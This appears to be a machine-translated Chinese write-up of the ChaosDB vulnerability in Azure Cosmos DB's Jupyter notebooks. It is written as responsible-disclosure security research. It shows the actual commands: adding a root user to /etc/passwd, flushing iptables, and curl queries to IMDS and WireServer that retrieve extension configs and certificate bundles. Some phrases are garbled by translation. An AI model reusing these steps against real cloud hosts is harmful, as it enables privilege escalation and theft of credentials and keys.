Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库

如今,我们在网上所做的几乎所有事情都通过云中的应用程序和数据库运行。虽然泄漏存储桶受到很多关注,但对大多数公司来说,数据库暴露是更大的风险,因为每个存储桶都可能包含数百万甚至数十亿条敏感记录。每个 CISO 的噩梦都是有人一举获得他们的访问密钥并泄露了数千兆字节的数据。

因此,当我们能够完全不受限制地访问数千个 Microsoft Azure 客户(包括许多财富 500 强公司)的帐户和数据库时,您可以想象我们的惊讶。作为建立市场领先地位的一部分全国农业发展规划署,Wiz 的安全研究团队(也就是我们)不断在云中寻找新的攻击面,两周前我们发现了影响 Azure 旗舰数据库服务 Cosmos DB 的前所未有的漏洞。

一些世界上最大的企业(见他们的 网站) 使用 Cosmos DB 近乎实时地管理来自世界各地的海量数据。作为开发人员存储数据的最简单、最灵活的方式之一,它支持关键业务功能,例如处理数百万个处方交易或管理电子商务网站上的客户订单流。

近年来,随着越来越多的公司迁移到云,数据库暴露变得异常普遍,罪魁祸首通常是客户环境中的错误配置。在这种情况下,客户没有过错。

相反,Cosmos DB 功能中的一系列缺陷造成了一个漏洞,允许任何用户下载、删除或操作大量商业数据库,以及对 Cosmos DB 底层架构的读/写访问。

我们将此漏洞命名为#ChaosDB。利用它是微不足道的,不需要其他凭据。

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库

第 1 部分:窃取 Cosmos DB 客户主要的keys

首先,我们获得了对客户 Cosmos DB 主键的访问权限。 keys 是攻击者的圣杯——它们是长期存在的,并允许对客户数据进行完全的读取/写入/删除访问。

2019 年,微软向 Cosmos DB 添加了一项名为 Jupyter Notebook 的功能,让客户可以可视化他们的数据并创建自定义视图(见下图)。该功能已于 2021 年 2 月自动为所有 Cosmos DB 启用。

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库

笔记本功能中的一系列错误配置开辟了我们能够利用的新攻击向量。简而言之,笔记本容器允许将权限升级到其他客户笔记本(我们将很快分享有关升级的技术细节)。

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库

因此,攻击者可以访问客户的 Cosmos DB primary keys和其他高度敏感的机密,例如笔记本 blob 存储访问令牌。  

第 2 部分:访问 Cosmos DB 中的客户数据

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库

接下来,在获取 Cosmos DB 机密后,我们表明攻击者可以利用这些密钥对存储在受影响的 Cosmos DB 帐户中的所有数据进行完全管理员访问。

我们泄露了密钥以获得对客户资产和数据的长期访问。然后,我们可以直接从 Internet 控制客户 Cosmos DB,并拥有完整的读/写/删除权限。

现在想象一下为 30 多个地区的数千名不同客户重复这个过程……

影响和范围

微软的安全团队立即采取行动解决问题,值得称赞。我们很少看到安全团队行动如此之快!他们在我们报告后 48 小时内禁用了易受攻击的笔记本功能。它仍然对所有等待安全重新设计的客户关闭。

但是,客户可能仍会受到影响,因为他们的主要访问密钥可能已暴露。这些是长期存在的秘密,如果发生泄露,攻击者可以使用密钥来泄露数据库。今天,Microsoft 通知超过 30% 的 Cosmos DB 客户,他们需要手动轮换访问密钥以减轻这种风险。

Microsoft 仅向在我们短暂(大约一周)的研究期间受到影响的客户发送电子邮件。但是,我们相信更多 Cosmos DB 客户可能面临风险。该漏洞已被利用至少几个月,甚至几年。  

作为预防措施,我们敦促每位 Cosmos DB 客户采取措施保护他们的信息。

每个使用笔记本功能或在 2021 年 1 月之后创建的 Cosmos DB 帐户都可能面临风险。从今年 2 月开始,每个新创建的 Cosmos DB 帐户都默认启用了笔记本功能,即使客户不知道并且从未使用过该功能,他们的主键也可能已暴露。

如果客户在前三天未使用该功能,则该功能将被自动禁用。在该窗口期间利用该漏洞的攻击者可以获得主键并可以持续访问 Cosmos DB 帐户。MassMutual 的 CISO 的 Wiz 客户 Jim Routh 对 ChaosDB 如此评价:“这一发现清楚地证实了企业需要通过数据保护功能改进 DevOps 配置管理流程。”

如果您认为您的组织可能受到 ChaosDB 的影响,请按照 本文有关如何重新生成和轮换密钥的详细说明。我们欢迎您的问题和反馈!给我们发电子邮件 [email protected]

Azure Cosmos DB漏洞演练

这是 Azure 的完整故事 ChaosDB 漏洞Wiz 研究团队发现并披露了这一点,在那里我们能够完全不受限制地访问数千个 Microsoft Azure 客户的数据库2021 年 8 月,我们向 Microsoft 披露了 Cosmos DB 中的一个新漏洞,该漏洞最终允许我们按照以下高级工作流程检索可用于管理服务的大量内部密钥:  

1. 在 Azure Cosmos DB 上设置 Jupyter Notebook 容器
2. 运行任何 C# 代码以获得 root 权限
3. 删除在容器本地设置的防火墙规则以获得不受限制的网络访问
4. 查询 WireServer 以获取有关已安装扩展的信息、证书及其对应的私钥
5. 连接到本地 Service Fabric,列出所有正在运行的应用程序,并获取其他客户数据库的主密钥
6. 通过 Internet 访问多个区域的 Service Fabric 实例

在这篇文章中,我们将引导您完成每一步,直到我们甚至获得了对 Azure 的某些魔法的管理访问权限。

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库

基础知识

什么是 Azure Cosmos DB?

根据 微软:Azure Cosmos DB 是一个完全托管的 NoSQL 数据库,用于现代应用程序开发。个位数毫秒的响应时间,具有自动和即时可扩展性,可保证任何规模的速度。业务连续性通过 SLA 支持的可用性和企业级安全性得到保证。

Cosmos DB 于 2017 年 5 月推出,是一种全球分布式数据库解决方案,被众多知名客户使用,包括许多财富 500 强公司(根据 gocosmos.com)。

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库

Cosmos DB 可以通过 API 密钥访问进行读、写和删除操作,其权限可以由标准的 Azure IAM 管理。要对 Cosmos DB 实例执行任何操作,您只需提供 Cosmos DB 端点和适当的 API 密钥(主键)。Cosmos DB 帐户的主键相当于传统本地数据库中的 root 密码。

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库
Cosmos DB 访问密钥和连接 URI

什么是 Jupyter 笔记本?

Azure Cosmos DB 实例(曾经)附带一个嵌入式 Jupyter Notebook 容器,这是一个开源 Web 应用程序,允许您创建和共享包含实时代码、方程式、可视化和叙述性文本的文档(阅读有关它的更多信息 这里)。基本上,这是使用代码表示数据的一种非常酷的方式。

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库
Cosmos DB Jupyter Notebook,取自 微软官方文档

Jupyter Notebook Container 提供终端访问以及使用不同编程语言(Python、C# 等)与 Cosmos DB 实例交互的选项。Cosmos DB 帐户的凭据已在容器映像的环境变量中预先配置,以通过以下方式使用和访问开发工具包透明地。  

错误 #1:Jupyter Notebook 本地权限提升 (LPE)

我们知道,按照设计,您可以在 Jupyter Notebook 上执行任意代码。几分钟后,我们已经获得了root权限。如何?

点击推文!

当我们使用嵌入式 Jupyter 终端或默认的 Python3 Notebook 时,我们的代码以名为cosmosuser的无特权、非 sudo’er 用户身份执行。服务开发人员的意图似乎是在此接口中执行的任何代码都将作为cosmosuser执行。

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库
以 cosmosuser 身份运行的 Python3 笔记本

然而,当我们执行一些 C# 代码时,我们注意到它是以 root 权限执行的。  

是的,我们也很惊讶。  

似乎 Jupyter Notebook 支持的每种编程语言都有自己的“主机”进程,负责执行用户提供的代码,并将输出传送到 Web-UI。由于某些未知原因,C# 的宿主进程专门以 root 权限运行,这意味着任何 C# 代码也将以 root 身份执行。我们使用这个错误配置来提升我们在容器内的权限:我们在/etc/passwd文件中添加了一行,创建了一个uid=0gid=0的新用户,使用su切换到这个用户命令,并被有效地授予容器内的 root 权限。如果你问自己为什么我们首先要获得 root 权限,答案很简单——我们对这个环境很好奇:谁拥有它?它是跨用户共享的吗?我们假设,作为 root,我们可能能够回答一些未解决的问题。

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库
使用 CSharp 笔记本执行 权限提升有效载荷 
Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库
执行提权有效载荷后的 /etc/passwd
Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库
切换用户为添加的后门用户

错误 #2:不受限制的网络访问  

iptables –F 就够了。  

获得 root 权限后,我们开始查看容器,除其他外,我们发出iptables命令来查看本地防火墙规则,以确定我们可以访问哪些网络资源,更有趣的是,不能访问哪些网络资源。

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库
以 root 身份检查 iptables 规则

查看iptables规则,我们发现了这些被认为是禁止的地址:  

1. 169.254.169.254IMDS 元数据服务  
2. 10.0.0.0/16子网,一个我们不熟悉的内部子网  
3. 168.63.129.16,另一个陌生的 IP 地址  

为什么服务开发者要配置这些特定的规则来阻止我们访问这些特定的 IP 地址?好事(或坏事,取决于你站在哪一边)这些防火墙规则是在我们当前以 root 身份运行的容器上本地配置的。因此,我们简单地删除了规则(通过发出iptables -F),为这些被禁止的 IP 地址和一些更有趣的发现扫清了道路。  

重要的是要指出,在我们看来,强制执行这些防火墙规则的更安全方法是在 Jupyter Notebook 容器之外,即使具有 root 权限,黑客也无法绕过它们。  

错误 #3:不是我们应得的证书,而是我们需要的证书  

在我们通过之前的两个错误(Jupyter Notebook LPE 和无限制网络访问)越狱之后,我们进行了一些网络侦察,涉及访问以前被禁止的 IP 地址。我们的看法是,如果开发人员遇到了明确试图阻止我们访问这些地址的麻烦,那么我们绝对应该遇到尝试访问它们的麻烦。  

访问被禁止的 IP 地址 #1 – IMDS

169.254.169.254是 Azure元数据服务(IMDS)。此服务保存有关当前运行的虚拟机实例的元数据,例如存储、网络配置和更多. 您只需发送一个 HTTP 请求并检索每个虚拟机 (VM) 的唯一信息。我们发出了一个请求,并发现了一些有趣的事情:  

1.我们的Azure环境设置为AzurePublicCloud,我们的订阅ID不是我们拥有的订阅。  
2. 我们的osType设置为 Windows,即使我们在 Linux 终端上运行 Linux 命令。
3. 我们在 10.0.0.0/16 子网中有一个 IP 地址——根据我们刚刚删除的防火墙规则,我们不应该访问同一个子网

把这些放在一起,我们意识到我们不是在查询容器的元数据服务,而是我们的主机的元数据服务,它似乎托管在某种共享环境中

root@notebook:/home/cosmosuser# curl -s -H Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq
 {
  "compute": {
    "azEnvironment": "AzurePublicCloud",
    "customData": "",
    "evictionPolicy": "",
    "isHostCompatibilityLayerVm": "false",
    "licenseType": "",
    "location": "eastus",
    "name": "CV2CW02_3",
    "offer": "WindowsServer",
    "osProfile": {
      "adminUsername": "cosmosadmin",
      "computerName": "CV2CW02000003",
      "disablePasswordAuthentication": ""
    },
    "osType": "Windows",
    "placementGroupId": "[REDACTED]",
    "plan": {
      "name": "",
      "product": "",
      "publisher": ""
    },
    "platformFaultDomain": "3",
    "platformUpdateDomain": "3",
    "priority": "",
    "provider": "Microsoft.Compute",
    "publicKeys": [],
    "publisher": "MicrosoftWindowsServer",
    "resourceGroupName": "eastus-cdb-ms-prod-eastus1-cs1",
    "resourceId": "/subscriptions/[REDACTED]/resourceGroups/eastus-cdb-ms-prod-eastus1-cs1/providers/Microsoft.Compute/virtualMachineScaleSets/CV2CW02/virtualMachines/3",
    "securityProfile": {
      "secureBootEnabled": "false",
      "virtualTpmEnabled": "false"
    },
    "sku": "datacenter-core-2004-with-containers-smalldisk",
    "storageProfile": {
      "dataDisks": [
        {
          "caching": "None",
          "createOption": "Empty",
          "diskSizeGB": "128",
          "image": {
            "uri": ""
          },
          "lun": "0",
          "managedDisk": {
            "id": "/subscriptions/[REDACTED]/resourceGroups/EASTUS-CDB-MS-PROD-EASTUS1-CS1/providers/Microsoft.Compute/disks/CV2CW02_CV2CW02_3_disk2_[REDACTED]",
            "storageAccountType": "Premium_LRS"
          },
          "name": "CV2CW02_CV2CW02_3_disk2_[REDACTED]",
          "vhd": {
            "uri": ""
          },
          "writeAcceleratorEnabled": "false"
        }
      ],
      "imageReference": {
        "id": "",
        "offer": "WindowsServer",
        "publisher": "MicrosoftWindowsServer",
        "sku": "datacenter-core-2004-with-containers-smalldisk",
        "version": "19041.985.2105050408"
      },
      "osDisk": {
        "caching": "ReadOnly",
        "createOption": "FromImage",
        "diffDiskSettings": {
          "option": ""
        },
        "diskSizeGB": "30",
        "encryptionSettings": {
          "enabled": "false"
        },
        "image": {
          "uri": ""
        },
        "managedDisk": {
          "id": "/subscriptions/[REDACTED]/resourceGroups/eastus-cdb-ms-prod-eastus1-cs1/providers/Microsoft.Compute/disks/CV2CW02_CV2CW02_3_OsDisk_1_[REDACTED]",
          "storageAccountType": "Premium_LRS"
        },
        "name": "CV2CW02_CV2CW02_3_OsDisk_1_[REDACTED]",
        "osType": "Windows",
        "vhd": {
          "uri": ""
        },
        "writeAcceleratorEnabled": "false"
      },
      "resourceDisk": {
        "size": "4096000"
      }
    },
    "subscriptionId": "[REDACTED]",
    "tags": "federationName:cdb-ms-prod-eastus1-cs1;platformsettings.host_environment.service.platform_optedin_for_rootcerts:true",
    "tagsList": [
      {
        "name": "federationName",
        "value": "cdb-ms-prod-eastus1-cs1"
      },
      {
        "name": "platformsettings.host_environment.service.platform_optedin_for_rootcerts",
        "value": "true"
      }
    ],
    "userData": "",
    "version": "19041.985.2105050408",
    "vmId": "[REDACTED]",
    "vmScaleSetName": "CV2CW02",
    "vmSize": "SQLG5_NP80s",
    "zone": ""
  },
  "network": {
    "interface": [
      {
        "ipv4": {
          "ipAddress": [
            {
              "privateIpAddress": "10.0.1.60",
              "publicIpAddress": ""
            }
          ],
          "subnet": [
            {
              "address": "10.0.1.0",
              "prefix": "24"
            }
          ]
        },
        "ipv6": {
          "ipAddress": []
        },
        "macAddress": "[REDACTED]"
      }
    ]
  }

访问被禁止的 IP 地址 #3 – WireServer

谷歌搜索 IP 地址168.63.129.16 后,我们发现它是一个存在于每个 Azure VM 上的虚拟 IP 地址,称为有线服务器

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库
WireServer MSDN 文档

Microsoft 几乎没有提供 WireServer 的官方文档。然而,保罗·利特瓦克来自 Intezer 的研究工作非常出色!看看他的博文 关于过去涉及 Azure WireServer 的漏洞。

我们了解到 WireServer 管理 Azure 中 VM 的各个方面和功能,特别是 扩展每个 Azure VM。扩展是 Azure 管理的软件应用程序,可以是第一方软件(如 Azure 的日志分析代理),也可以是 Azure 支持的第三方软件(如 Datadog)。显然,为了安装和配置这些扩展,所有 Azure VM 都预装了两种代理之一,一种用于 Windows,一种用于 Linux。您可以将 WireServer 视为这些代理的后端,用于提供代理正常运行所需的任何信息。

回到 Linux 的 WireServer 代理,也称为 WA-Agent 或 WA-Linux-Agent,我们意识到这是一个开源项目 托管在 GitHub 上. 因此,我们深入研究了源代码以了解有关 WireServer 功能的更多信息。

了解 WireServer

WireServer 可以使用 HTTP 进行查询,并且有几个端点对我们的研究很感兴趣:  

1.目标状态——本质上是代理需要查询的端点电话簿,以便获取不同的配置设置。你可以下载任何 Azure VM 目标状态,通过执行一个简单的cURL命令来检索特定于你的虚拟机的所有配置终结点,如下面的代码片段所示。
2. ExtensionsConfig – 顾名思义,ExtensionsConfig 存储有关 VM 上安装的所有扩展的信息。有时,这些配置包含敏感信息,例如硬编码的密码或密钥,并且这些信息是加密的。  
3.证书 –在 ExtensionsConfig 中存储用于解密加密段的加密密钥。  

为了获取有关我们机器扩展的信息,我们首先执行了一个 cURL 命令来获取机器的目标状态。结果是底层虚拟机目标状态,包括它的 ExtensionsConfig URL,然后我们也查询了它:  

查询目标状态

root@notebook:/home/cosmosuser# curl -s "http://168.63.129.16:80/machine/?comp=goalstate" -H "x-ms-agent-name: WALinuxAgent" -H "x-ms-version: 2012-11-30"
<?xml version="1.0" encoding="utf-8"?>
<GoalState xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="goalstate10.xsd">
  <Version>2012-11-30</Version>
  <Incarnation>19</Incarnation>
  <Machine>
    <ExpectedState>Started</ExpectedState>
    <StopRolesDeadlineHint>300000</StopRolesDeadlineHint>
    <LBProbePorts>
      <Port>16001</Port>
    </LBProbePorts>
    <ExpectHealthReport>FALSE</ExpectHealthReport>
  </Machine>
  <Container>
    <ContainerId>82daf2f0-1c7a-45e5-9be6-<REDACTED></ContainerId>
    <RoleInstanceList>
      <RoleInstance>
        <InstanceId>f2a6f11f-ad20-4bb3-839f-<REDACTED>._CV2FI02_0</InstanceId>
        <State>Started</State>
        <Configuration>
          <HostingEnvironmentConfig>http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f%2Dad20%2D4bb3%2D839f%<REDACTED>.%5FCV2FI02%5F0?comp=config&amp;type=hostingEnvironmentConfig&amp;incarnation=19</HostingEnvironmentConfig>
          <SharedConfig>http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f%2Dad20%2D4bb3%2D839f%<REDACTED>.%5FCV2FI02%5F0?comp=config&amp;type=sharedConfig&amp;incarnation=19</SharedConfig>
          <ExtensionsConfig>http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f%2Dad20%2D4bb3%2D839f%<REDACTED>.%5FCV2FI02%5F0?comp=config&amp;type=extensionsConfig&amp;incarnation=19</ExtensionsConfig>
          <FullConfig>http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f%2Dad20%2D4bb3%2D839f%<REDACTED>.%5FCV2FI02%5F0?comp=config&amp;type=fullConfig&amp;incarnation=19</FullConfig>
          <Certificates>http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f%2Dad20%2D4bb3%2D839f%<REDACTED>.%5FCV2FI02%5F0?comp=certificates&amp;incarnation=19</Certificates>
          <ConfigName>f2a6f11f-ad20-4bb3-839f-<REDACTED>.20.f2a6f11f-ad20-4bb3-839f-<REDACTED>.20._CV2FI02_0.1.xml</ConfigName>
        </Configuration>
        <ServiceManagementInfo>
          <SupportedVersions>http://168.63.129.16:80/ServiceManagement/?comp=versions</SupportedVersions>
          <ManagementInfo>http://168.63.129.16:80/ServiceManagement/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f%2Dad20%2D4bb3%2D839f%<REDACTED>.%5FCV2FI02%5F0?comp=ManagementInfo</ManagementInfo>
        </ServiceManagementInfo>
      </RoleInstance>
    </RoleInstanceList>
  </Container>

检索扩展配置

root@notebook:/home/cosmosuser# curl -s "http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f-ad20-4bb3-839f-<REDACTED>._CV2FI02_0?comp=config&type=extensionsConfig&incarnation=19" -H "x-ms-agent-name: WALinuxAgent" -H "x-ms-version: 2012-11-30"
<?xml version="1.0" encoding="utf-8"?>
<Extensions version="1.0.0.0" goalStateIncarnation="19"><GuestAgentExtension xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
  <GAFamilies>
    <GAFamily>
      <Name>Win7</Name>
    </GAFamily>
    <GAFamily>
      <Name>Win8</Name>
      <Uris>        <Uri>https://zrd<REDACTED>02.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://zrd<REDACTED>07.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://zrd<REDACTED>r01a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://rd<REDACTED>03.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://zrd<REDACTED>r10a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://zrd<REDACTED>r05a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://rd<REDACTED>01.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://rd<REDACTED>01.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://zrd<REDACTED>05.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://rd<REDACTED>01.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://brd<REDACTED>04.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://zrd<REDACTED>r09a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://zrd<REDACTED>03.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://rd<REDACTED>02.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://zrd<REDACTED>09.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://rd<REDACTED>02.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://zrd<REDACTED>r03a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://rd<REDACTED>02.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>
      </Uris>
    </GAFamily>
  </GAFamilies>
  <Location>westus</Location>
  <ServiceName>CRP</ServiceName>
</GuestAgentExtension>
<StatusUploadBlob statusBlobType="PageBlob">https://md-<REDACTED>.z13.blob.storage.azure.net/$system/CV2FI02_0.6eb0b152-261a-4bc7-89ae-<REDACTED>.status?sv=2018-03-28&amp;sr=b&amp;sk=system-1&amp;sig=MxCWbN<REDACTED>&amp;se=9999-01-01T00%3a00%3a00Z&amp;sp=w</StatusUploadBlob>
<Plugins>
  <Plugin name="Microsoft.Azure.Security.Dsms.DsmsForWindows" version="3.20.60.1" location="https://rd<REDACTED>02.blob.core.windows.net/<REDACTED>/Microsoft.Azure.Security.Dsms_DSMSForWindows_uswest_manifest.xml" state="enabled" autoUpgrade="true" failoverlocation="https://brd<REDACTED>04.blob.core.windows.net/<REDACTED>/Microsoft.Azure.Security.Dsms_DSMSForWindows_uswest_manifest.xml" runAsStartupTask="false" isJson="true" useExactVersion="true" />
  <Plugin name="Microsoft.Azure.ServiceFabric.ServiceFabricNode" version="1.1.0.12" location="https://zrd<REDACTED>07.blob.core.windows.net/<REDACTED>/Microsoft.Azure.ServiceFabric_ServiceFabricNode_uswest_manifest.xml" state="enabled" autoUpgrade="true" failoverlocation="https://rd<REDACTED>02.blob.core.windows.net/<REDACTED>/Microsoft.Azure.ServiceFabric_ServiceFabricNode_uswest_manifest.xml" runAsStartupTask="false" isJson="true" useExactVersion="true" />
</Plugins>
<PluginSettings>
  <Plugin name="Microsoft.Azure.Security.Dsms.DsmsForWindows" version="3.20.60.1">
    <RuntimeSettings seqNo="2">{
  "runtimeSettings": [
    {
      "handlerSettings": {
        "protectedSettingsCertThumbprint": "85FFC66A525E9A3D45597788B076B95356296E46",
        "protectedSettings": "MIIB0AYJK<REDACTED>"
      }
    }
  ]
}</RuntimeSettings>
  </Plugin>
  <Plugin name="Microsoft.Compute.CustomScriptExtension" version="1.10.12">
    <DependsOn dependencyLevel="1">
      <DependsOnExtension handler="Microsoft.Azure.Security.Dsms.DsmsForWindows" />
    </DependsOn>
  </Plugin>
  <Plugin name="Microsoft.Azure.Geneva.GenevaMonitoring" version="2.27.0.3">
    <RuntimeSettings seqNo="2">{
  "runtimeSettings": [
    {
      "handlerSettings": {
        "publicSettings": {}
      }
    }
  ]
}</RuntimeSettings>
  </Plugin>
  <Plugin name="Microsoft.Azure.Security.AntimalwareSignature.AntimalwareConfiguration" version="2.58.15">
    <RuntimeSettings seqNo="2">{
  "runtimeSettings": [
    {
      "handlerSettings": {
        "publicSettings": {}
      }
    }
  ]
}</RuntimeSettings>
  </Plugin>
</PluginSettings>

我们的 VM 有几个配置的扩展,包括:

1. 微软。Azure。安全。短信。Dsms For Windows  
2. Microsoft。Azure。日内瓦。日内瓦监控  
3. Microsoft.Azure.Security.AntimalwareSignature.AntimalwareConfiguration  
4. Microsoft。计算。CustomScriptExtension  
5. 微软。Azure。服务结构。ServiceFabricNode  
6. 微软。计算。自定义脚本扩展  

这些扩展很可能安装在我们的 HOST(基于 Windows 的 VM)上,而不是我们的私有 Linux 容器上。下一个合乎逻辑的步骤是从这些配置中提取信息,并可能揭示我们稍后可以在 Cosmos DB 环境中用于横向移动的秘密。

检索解密密钥

大多数扩展包含这两个部分:  

1. publicSettings – 包含有关 VM 扩展和设置的通用信息的纯文本部分。  
2. protectedSettings – 加密部分保存有关 VM 扩展的敏感信息。

硬编码凭据和/或敏感信息应该存储在我们扩展的protectedSettings部分。那么代理如何解密这些敏感数据呢?它从哪里获得解密密钥?答案是证书端点。但是要检索用于解密的证书,代理首先需要采取额外的预防措施并提供一个自签名的传输证书,用于加密证书包。幸运的是,这个传输证书没有经过服务器验证,这意味着我们可以提供我们自己的证书,而无需依赖主机代理先前生成的任何证书。提供此公钥的方法是将其包含在x-ms-guest-agent-public-x509-cert标头中。

root@notebook:/home/cosmosuser# curl -s -H 'x-ms-agent-name: WALinuxAgent' -H 'x-ms-version: 2012-11-30' "http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f-ad20-4bb3-839f-<REDACTED>._CV2FI02_0?comp=certificates&incarnation=19&type=fullConfig" -v -H 'x-ms-cipher-name: DES_EDE3_CBC' -H 'x-ms-guest-agent-public-x509-cert: MIIDDTCCAf<REDACTED>VILecKTmgDgpm9K0='
*   Trying 168.63.129.16...
* TCP_NODELAY set
* Connected to 168.63.129.16 (168.63.129.16) port 80 (#0)
> GET /machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f-ad20-4bb3-839f-<REDACTED>._CV2FI02_0?comp=certificates&incarnation=19&type=fullConfig HTTP/1.1
> Host: 168.63.129.16
> User-Agent: curl/7.58.0
> Accept: */*
> x-ms-agent-name: WALinuxAgent
> x-ms-version: 2012-11-30
> x-ms-cipher-name: DES_EDE3_CBC
> x-ms-guest-agent-public-x509-cert: MIIDDTCCAf … redacted … ILecKTmgDgpm9K0=
>
< HTTP/1.1 200 OK
< Content-Type: text/xml; charset=utf-8
< Server: Microsoft-IIS/10.0
< Date: Mon, 09 Aug 2021 15:14:13 GMT
< Content-Length: 218769
<
{ [14133 bytes data]
* Connection #0 to host 168.63.129.16 left intact
<?xml version="1.0" encoding="utf-8"?>
<CertificateFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="certificates10.xsd">
  <Version>2012-11-30</Version>
  <Incarnation>19</Incarnation>
  <Format>CertificatesBondPackage</Format>
  <Data>Cw7XFjCCC1MGCSqGSIb3DQEHA6CCC0QwggtAAgECMYIBMDCCASwCAQKAFHLFPtEz
NkHq9EbPS1vv8Xh+51+XMA0GCSqGSIb3DQEBAQUABIIBADsYzJwqOmvP154ZphyM
... redacted ...
RCwBXbsdtTLSR9I4LtD+gdwyah617jzV/OeBHRnDJELqYzmpUgRSAG8AbwB0AAAA
</Data>
</CertificateFile>

至此,每次我们查询 Certificates 端点(在任何其他服务中)时,我们总是检索以Pkcs7BlobWithPfxContents格式编码的证书,如下图所示。这是证书包,加密方式只有与x-ms-guest-agent-public-x509-cert标头中提供的公钥匹配的私钥才能解密。

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库
Pkcs7BlobWithPfxContents 格式

但是,当我们在 Jupyter Notebook 环境中执行完全相同的步骤时,我们检索到了以另一种格式编码的证书 – Certificates Bond Package

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库
证书绑定包格式

这是我们第一次遇到这种格式。不幸的是,我们用来解密标准格式的 OpenSSL 命令在这里不起作用。是时候开始我们的游戏并尝试解码这种格式了!

解码证书绑定包

我们在 Google 上搜索 Certificate Bond Package 格式并没有得到答案:

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库
证书绑定包的 Google 结果

我们从这里去哪里?我们决定对 WireServer 的客户端(VM 代理)进行逆向工程。我们假设,如果有任何东西知道如何解码这种格式,那么依赖这些信息才能正常运行的就是这些代理。

首先查看 Linux 代理,我们找不到任何对神秘的证书绑定包格式的引用。

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库
WALinuxAgent 证书绑定包的 GitHub 存储库结果

继续调查 Windows 代理,我们知道根据 IMDS 元数据服务,即使我们在 Linux 容器中运行,我们的主机 VM 也是 Windows VM。这意味着来自 WireServer 的所有响应都应该由 Windows 代理处理,而不是 Linux 代理。这是我们需要继续的突破。  

